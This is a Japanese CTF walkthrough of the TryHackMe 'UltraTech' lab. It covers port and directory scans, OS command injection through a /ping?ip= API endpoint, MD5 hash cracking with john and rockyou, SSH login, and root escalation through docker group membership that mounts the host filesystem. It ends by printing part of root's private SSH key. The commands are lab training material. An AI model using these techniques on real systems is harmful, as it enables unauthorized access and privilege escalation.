概要
TryHackMe「UltraTech」のWalkthroughです。
Task2
Q1.Which software is using the port 8081?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sVC -A -p- 10.10.126.244 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
8081/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-cors: HEAD GET POST PUT DELETE PATCH
31331/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
|_http-server-header: Apache/2.4.29 (Ubuntu)
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
21 | ftp | vsftpd 3.0.3 |
22 | ssh | OpenSSH 7.6p1 |
8081 | http | Node.js Express framework |
31331 | http | Apache httpd 2.4.29 |
A.Node.js
Q2.Which other non-standard port is used?
A.31331
Q3.Which software using this port?
A.Apache
Q4.Which GNU/Linux distribution seems to be used?
A.Ubuntu
Q5.The software using the port 8081 is a REST api, how many of its routes are used by the web application?
8081
ポートにアクセスするとUltraTech API v0.1.3
という情報を得られました。
$ curl http://10.10.126.244:8081
UltraTech API v0.1.3
8081
ポートのディレクトリスキャンをします。
$ dirsearch -u http://10.10.126.244:8081/
[07:10:24] 200 - 39B - /auth/
[07:10:24] 200 - 39B - /auth
[07:11:18] 500 - 1KB - /ping
A.2
Task3
Q1.There is a database lying around, what is its filename?
Hint.Look closely how the API is used. Don't spend too much time on /auth, it isn't the only route available.
/ping
へアクセスするとエラー文が表示されました。
31331
ポートのディレクトリスキャンをします。
$ dirsearch -u http://10.10.126.244:31331
[08:02:26] 301 - 321B - /css -> http://10.10.126.244:31331/css/
[08:02:34] 200 - 15KB - /favicon.ico
[08:02:41] 200 - 707B - /images/
[08:02:41] 301 - 324B - /images -> http://10.10.126.244:31331/images/
[08:02:44] 301 - 328B - /javascript -> http://10.10.126.244:31331/javascript/
[08:02:45] 200 - 483B - /js/
[08:03:10] 200 - 53B - /robots.txt
/js/api.js
を発見しました。
(function() {
console.warn('Debugging ::');
function getAPIURL() {
return `${window.location.hostname}:8081`
}
function checkAPIStatus() {
const req = new XMLHttpRequest();
try {
const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}`
req.open('GET', url, true);
req.onload = function (e) {
if (req.readyState === 4) {
if (req.status === 200) {
console.log('The api seems to be running')
} else {
console.error(req.statusText);
}
}
};
req.onerror = function (e) {
console.error(xhr.statusText);
};
req.send(null);
}
catch (e) {
console.error(e)
console.log('API Error');
}
}
checkAPIStatus()
const interval = setInterval(checkAPIStatus, 10000);
const form = document.querySelector('form')
form.action = `http://${getAPIURL()}/auth`;
})();
/ping?ip=
でpingを実行できました。
$ curl http://10.10.126.244:8081/ping?ip=127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.013 ms
--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.013/0.013/0.013/0.000 ms
OSコマンドインジェクションが出来そうです。
NodeJSのOSコマンドインジェクションを調べると;
や``
を使用するテクニックが見つかりました。
``
を使用してコマンドを実行でき、ファイルを取得できました。
A.utech.db.sqlite
Q2.What is the first user's password hash?
utech.db.sqlite
のデータからr00t
,admin
のハッシュ値を得られました。
A.f357a0c52799563c7c7b76c1e7543a32
Q3.What is the password associated with this hash?
Hint.We will, we will *******.txt
ハッシュ値を解析し、パスワードを得られました。
$ john hash --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5
n100906 (?)
mrsheafy (?)
A.n100906
Task4
Q1.What are the first 9 characters of the root user's private SSH key?
Username: r00t
,Password: n100906
でSSH接続できました。
$ ssh r00t@10.10.126.244
r00t@ultratech-prod:~$
docker
グループに所属していることが分かりました。
$ id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
Dockerグループに所属している際に使用できる権限昇格テクニックが見つかりました。
Dockerイメージを確認します。
$ docker images
REPOSITORY TAG IMAGE ID CREATED SIZE
bash latest 495d6437fc1e 5 years ago 15.8MB
権限昇格に成功しました。
$ docker run -v /:/mnt --rm -it bash chroot /mnt sh
# whoami
root
rootのSSH秘密鍵を得られました。
# cat /root/.ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuDSna2F3pO8vMOPJ4l2PwpLFqMpy1SWYaaREhio64iM65HSm
A.MIIEogIBA